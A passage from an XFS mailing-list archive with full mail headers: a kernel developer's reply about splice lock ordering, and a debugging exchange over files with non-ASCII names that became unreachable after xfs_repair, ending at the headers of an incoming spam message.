YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 X4u8MWKN16MBjw+bqdSs6moVCwlCDVAm8Q1vCY1FxKs+ZsjgeB0vAgMBAAGjezB5MAkGA1UdEwQC MAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQW BBTt0O5opEZ9Srh5RU4Hfd3aV56InTAfBgNVHSMEGDAWgBS5ajfQuD4tDDqutQ8fwKFw6YlRwzAN BgkqhkiG9w0BAQUFAAOCAgEAdEPKAfGyGcWI/mUERK9nml7MmQb+1chyK3Di85dMuvdtz4E4KA0U lkc92ddyJKMtsYzi9sjh3EVFTwZQ0Drs3GRwulnpn8uCkSf0nQNJSjr8zAdaIQdPdyzUTHDzV+Jn jPBsHxUV5W91HkXIEEajLdCtQNnRIIuoratGlIvJRwsyokVoUSrlo+/sRi1P7DopMzF1i91AyUuR BfUT0LtC17SGos9P6JiyqQQBtHild2uJZOZM9lSEvhCS25KTEB0aG12TSZmG7aD6ySo4UtPRtLO7 lD2VTuBNhgfIzfES2aqStrPVTqatwbgw+FJjJWHvuBhT1toj9IQZY6pIlo5rIJmOrFUwviHro2Bn tXXEg55vZ/uWnjcWJDj45RoGCPSNx2pb3xuSdltd/POXaT4e6bssZ+ovDvJ2w0eVWakfJNu9uL85 giOcDFFRj9pBBF+t3IWAxsVSxfiAiNCIc6XoP4kW1j6l/P2k2fYj+exwnq2OlkSWANbdAi1/Fa0W W+mLAXrIV1LMnjlCNzH5wYiM2Ljoea7nBFL3rSs3N1eMau4PhsCVaD2AH+oNNuMK5mAvdlHMC6SU iifrsFjHJUeI79FGhx+ktHKAZcKUfalcU4FKo2Tph4ypYaQn75690YvfcQpp7KyMIGf7rUm7dA+A LiHDsAb947E/fgdTEb/rsDwxggRmMIIEYgIBATCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgM Cldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFy ZWsxFTATBgNVBAMMDHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5j b20CAQEwCQYFKw4DAhoFAKCCAakwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B CQUxDxcNMTQwMTEzMjMwNzMyWjAjBgkqhkiG9w0BCQQxFgQUGP07tlMVPBgG1VKynT8LiIxkQP4w gaIGCSsGAQQBgjcQBDGBlDCBkTCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24x EDAOBgNVBAcMB1NlYXR0bGUxHDAaBgNVBAoME1phY2hhcnkgUC4gS290bGFyZWsxFTATBgNVBAMM DHViZXJ6YWNoLmNvbTEgMB4GCSqGSIb3DQEJARYRemFjaEBrb3RsYXJlay5jb20CAQEwgaQGCyqG SIb3DQEJEAILMYGUoIGRMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4G A1UEBwwHU2VhdHRsZTEcMBoGA1UECgwTWmFjaGFyeSBQLiBLb3RsYXJlazEVMBMGA1UEAwwMdWJl cnphY2guY29tMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxhcmVrLmNvbQIBATANBgkqhkiG9w0B AQEFAASCAgCDUiJ/b9/yvHBwXQAzdgGLTrPGnH7WxrJncVAECvsHE3FU3NqiUZAjfFDot1ryNmu2 fOO9vxO14YAdd88c9OjY5M4/ssBiCxtFwxxsEULd7JYSW6j/O1AMW3IVazySM8VIB42dRULydojp qkD5Q4iT+w5b57W+uf3aVY50zdeuKkQhJtFkeNE89NL5Oiz+0wn1xWw6PSnX5mq5bHUeu/hBdXuU zWlOmta3WKEzZxXE2g/129DmtBZ+ri7KP+HGGAXppDaEvyu9+d0sKw5unlpRrML7EhDXLJe/9xzM 2ZG6ioZauOI2JwdFvPqSlEQECt9r0QQIl28SMbd3zLyzF6QZo+E8mgmVaTgjsT0ceP3mcYTM4egH qp2+WjpTi8xzL2wkkSRBJloALzcj4kggZ6x/tWpah0ufBF9ZqroPPKIq5gYJRIbbem6QyRVUMYW7 uwdRJokqg+DTA/DQsbejnwxuT8NCKbVlGsYLax49cd9sM0qZIMLppnLwBeAiUvbkW0mlXYWc7ePp 0C1BXA3PYYmReIncqyay2or65jTAK3eCLUC8F1EZ0Y5RRmw8IS3Y6xq50CTnWR+1aNTsfki0QOoc FS6g5BuWyKZ4ELQ0OeH4Yz2kqSAYO2TShFvjNJ1cE5gaboSIa9A/3RWNgwz9wRdoyxExXr0nxP/R 9GbUngEr8gAAAAAAAA== --Apple-Mail=_1C27DD97-FFE9-4267-B4A6-3F4124BF0FAF-- From viro@ftp.linux.org.uk Mon Jan 13 17:57:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75BB27F3F for ; Mon, 13 Jan 2014 17:57:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 48220304064 for ; Mon, 13 Jan 2014 15:57:01 -0800 (PST) X-ASG-Debug-ID: 1389657416-04cb6c537bd91720001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id FvHpcaOAHigVGO6R (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 15:56:57 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W2rN8-0001XS-Ud; Mon, 13 Jan 2014 23:56:46 +0000 Date: Mon, 13 Jan 2014 23:56:46 +0000 From: Al Viro To: Christoph Hellwig Cc: Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140113235646.GR10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140113141416.GA30117@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1389657417 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 06:14:16AM -0800, Christoph Hellwig wrote: > ping? Would be nice to get this into 3.14 Umm... The reason for pipe_lock outside of ->i_mutex is this: default_file_splice_write() calls splice_from_pipe() with write_pipe_buf for callback. splice_from_pipe() calls that callback under pipe_lock(pipe). And write_pipe_buf() calls __kernel_write(), which certainly might want to take ->i_mutex. Now, this codepath isn't taken for files that have non-NULL ->splice_write(), so that's not an issue for XFS and OCFS2, but having pipe_lock nest between the ->i_mutex for filesystems that do and do not have ->splice_write()... Ouch... From david@fromorbit.com Mon Jan 13 20:24:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 41EBC7F3F for ; Mon, 13 Jan 2014 20:24:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BD76DAC002 for ; Mon, 13 Jan 2014 18:24:19 -0800 (PST) X-ASG-Debug-ID: 1389666257-04cb6c537bd95660001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id g3TRb40VXx819rZR for ; Mon, 13 Jan 2014 18:24:17 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AswJAFKf1FJ5LKVw/2dsb2JhbABagwuDOlKxMIVTgRUXdIIlAQEBAwEjDwEjIwULCAMOCgICBSECAg8FJQMhE4d8B6o5mxEXFoETjV4Hgm+BSASYFopMh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail06.adl2.internode.on.net with ESMTP; 14 Jan 2014 12:54:16 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W2tfq-0004fO-Bu; Tue, 14 Jan 2014 13:24:14 +1100 Date: Tue, 14 Jan 2014 13:24:14 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140114022414.GM3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1389666257 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144062 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 03:07:30PM -0800, Zachary Kotlarek wrote: > > On Jan 13, 2014, at 11:27 AM, Dave Chinner wrote: > > > So, you need to find the inode number of a directory with a corrupt > > entry, and dump the inode and any data fork blocks that it belongs > > to with xfs_db similar to what you have just done. > > > Got one. bu[9] is the file that doesn’t work: ..... > bu[9].inumber = 68719478814 > bu[9].namelen = 26 > bu[9].name = "07 - Se\303\261or Macho Solo.m4v" > bu[9].tag = 0x130 That looks completely valid. It's a utf-8 encoded directory entry. It doesn't look like there's any corruption on disk here. The ls -l output full of ???? usually means the stat of the inode the dirent pointed to, so that implies that the stat has failed. So, what does and strace of the 'ls -l' of that directory tell you about the directory entry that is returned to userspace? > bleaf[5].hashval = 0x16d07074 > bleaf[5].address = 0x26 That's the hash entry in the directory for the name. That may be wrong, I guess. can you create another file with the same name in a different directory so we can check that the hash is correct? > u.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,509696,79700,0] > > I’m not sure if this the right way to get the related first data block. If I did it wrong let me know: > > xfs_db> daddr 509696 fsb 509696, not daddr. Cheers, Dave. -- Dave Chinner david@fromorbit.com From zach@kotlarek.com Mon Jan 13 21:12:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8E1A27F3F for ; Mon, 13 Jan 2014 21:12:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0302FAC003 for ; Mon, 13 Jan 2014 19:12:14 -0800 (PST) X-ASG-Debug-ID: 1389669133-04cb6c537ed96630001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id AjadKbCixq6mewwD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 19:12:13 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from archer.uberzach.com (unknown [IPv6:2602:3f:e50d:7605:60c:ceff:fed3:ff7e]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id ACC475858D; Mon, 13 Jan 2014 19:12:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389669132; bh=oCTfKIyDvUmoUsxyqWVW3/njpLMcLp4hp9bfOxw4pj0=; h=Content-Type:Mime-Version:Subject:From:In-Reply-To:Date:Cc: Message-Id:References:To; b=aW86EfbSvhjMWHjKxu2FmeLcgra6rYJpMNpAw+Mm7eTVFj+TBEVBayJIfC9wZWZgg yjAQ3CdAOitgZrOkNmskU7kgiyHM9EhNQcF+oaQbjMWCjGNWNU6M6A1583mrdj5AOa Kklz5gLu93vsgqjfsAkseSj8Aa8Qg2/J5YO879YE= Content-Type: multipart/signed; boundary="Apple-Mail=_4874D299-B718-43DD-A56E-AC57030C8C91"; protocol="application/pkcs7-signature"; micalg=sha1 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair From: Zachary Kotlarek X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: <20140114022414.GM3469@dastard> Date: Mon, 13 Jan 2014 19:12:07 -0800 Cc: xfs@oss.sgi.com Message-Id: References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389669133 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144062 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_4874D299-B718-43DD-A56E-AC57030C8C91 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 13, 2014, at 6:24 PM, Dave Chinner wrote: >> Got one. bu[9] is the file that doesn=92t work: > ..... >> bu[9].inumber =3D 68719478814 >> bu[9].namelen =3D 26 >> bu[9].name =3D "07 - Se\303\261or Macho Solo.m4v" >> bu[9].tag =3D 0x130 >=20 > That looks completely valid. It's a utf-8 encoded directory entry. > It doesn't look like there's any corruption on disk here. >=20 > The ls -l output full of ???? usually means the stat of the inode > the dirent pointed to, so that implies that the stat has failed. > So, what does and strace of the 'ls -l' of that directory tell you > about the directory entry that is returned to userspace? It just returns ENOENT: stat("/mnt/media/TV/30 Rock/Season 3/07 - Se=F1or Macho Solo.m4v", = 0x15990f0) =3D -1 ENOENT (No such file or directory) lstat("/mnt/media/TV/30 Rock/Season 3/07 - Se=F1or Macho Solo.m4v", = 0x15990f0) =3D -1 ENOENT (No such file or directory) >> bleaf[5].hashval =3D 0x16d07074 >> bleaf[5].address =3D 0x26 >=20 > That's the hash entry in the directory for the name. That may be > wrong, I guess. can you create another file with the same name > in a different directory so we can check that the hash is correct? bu[16].inumber =3D 9255716888 bu[16].namelen =3D 26 bu[16].name =3D "07 - Se\303\261or Macho Solo.m4v" bu[16].tag =3D 0x1d8 I don=92t understand how to find the right bleaf, but 0x16d07074 doesn=92t= appear in any of the hashvals for that directory: bleaf[0].hashval =3D 0x2e bleaf[0].address =3D 0x2 bleaf[1].hashval =3D 0x172e bleaf[1].address =3D 0x4 bleaf[2].hashval =3D 0x1052379a bleaf[2].address =3D 0x22 bleaf[3].hashval =3D 0x16d0707c bleaf[3].address =3D 0x3b bleaf[4].hashval =3D 0x3d1c0738 bleaf[4].address =3D 0x1b bleaf[5].hashval =3D 0x3d1c0739 bleaf[5].address =3D 0x18 bleaf[6].hashval =3D 0x3d1c073a bleaf[6].address =3D 0x15 bleaf[7].hashval =3D 0x3d1c073b bleaf[7].address =3D 0x12 bleaf[8].hashval =3D 0x3d1c073c bleaf[8].address =3D 0xf bleaf[9].hashval =3D 0x3d1c073d bleaf[9].address =3D 0xc bleaf[10].hashval =3D 0x3d1c073e bleaf[10].address =3D 0x9 bleaf[11].hashval =3D 0x3d1c073f bleaf[11].address =3D 0x6 bleaf[12].hashval =3D 0x7f92e42b bleaf[12].address =3D 0x2b bleaf[13].hashval =3D 0x9f92e6c0 bleaf[13].address =3D 0x36 >> u.bmx[0] =3D [startoff,startblock,blockcount,extentflag] = 0:[0,509696,79700,0] >>=20 >> I=92m not sure if this the right way to get the related first data = block. If I did it wrong let me know: >>=20 >> xfs_db> daddr 509696 >=20 > fsb 509696, not daddr. xfs_db> fsb 509696=20 xfs_db> p 000: 0000001c 66747970 6d703432 00000000 6d703432 69736f6d 61766331 = 00000084 And that looks like the MP4 magic number across the first 3 segments, = which is what I=92m expecting. Zach --Apple-Mail=_4874D299-B718-43DD-A56E-AC57030C8C91 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 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 eMCmEpL2aQAAAAAAAA== --Apple-Mail=_4874D299-B718-43DD-A56E-AC57030C8C91-- From sunzij788@gmail.com Tue Jan 14 06:09:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.9 required=5.0 tests=COMPENSATION, FREEMAIL_ENVFROM_END_DIGIT,FREEMAIL_FROM,FREEMAIL_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE,LOTS_OF_MONEY,MONEY_FRAUD_3, T_MONEY_PERCENT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 948627F3F for ; Tue, 14 Jan 2014 06:09:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6EB0630406B for ; Tue, 14 Jan 2014 04:09:24 -0800 (PST) X-ASG-Debug-ID: 1389701361-04cbb04167db40d0001-w1Z2WR Received: from KMTF.KZ (mail.kmtf.kz [82.200.176.3]) by cuda.sgi.com with ESMTP id VQFjYl4Ll2UMBoUB for ; Tue, 14 Jan 2014 04:09:22 -0800 (PST) X-Barracuda-Envelope-From: sunzij788@gmail.com X-Barracuda-Apparent-Source-IP: 82.200.176.3 Received: from [10.233.129.112] ([127.0.0.1]) by KMTF.KZ (Lotus Domino Release 8.5.3FP4) with ESMTP id 2014011417081556-6294 ; Tue, 14 Jan 2014 17:08:15 +0500 MIME-Version: 1.0 Subject: Suspected Spam:Hallo To: Recipients X-ASG-Orig-Subj: Suspected Spam:Hallo From: sunzij788@gmail.com Date: Tue, 14 Jan 2014 13:04:51 +0100 Reply-To: sunzhijun46@yahoo.com.hk X-Brightmail-Tracker: 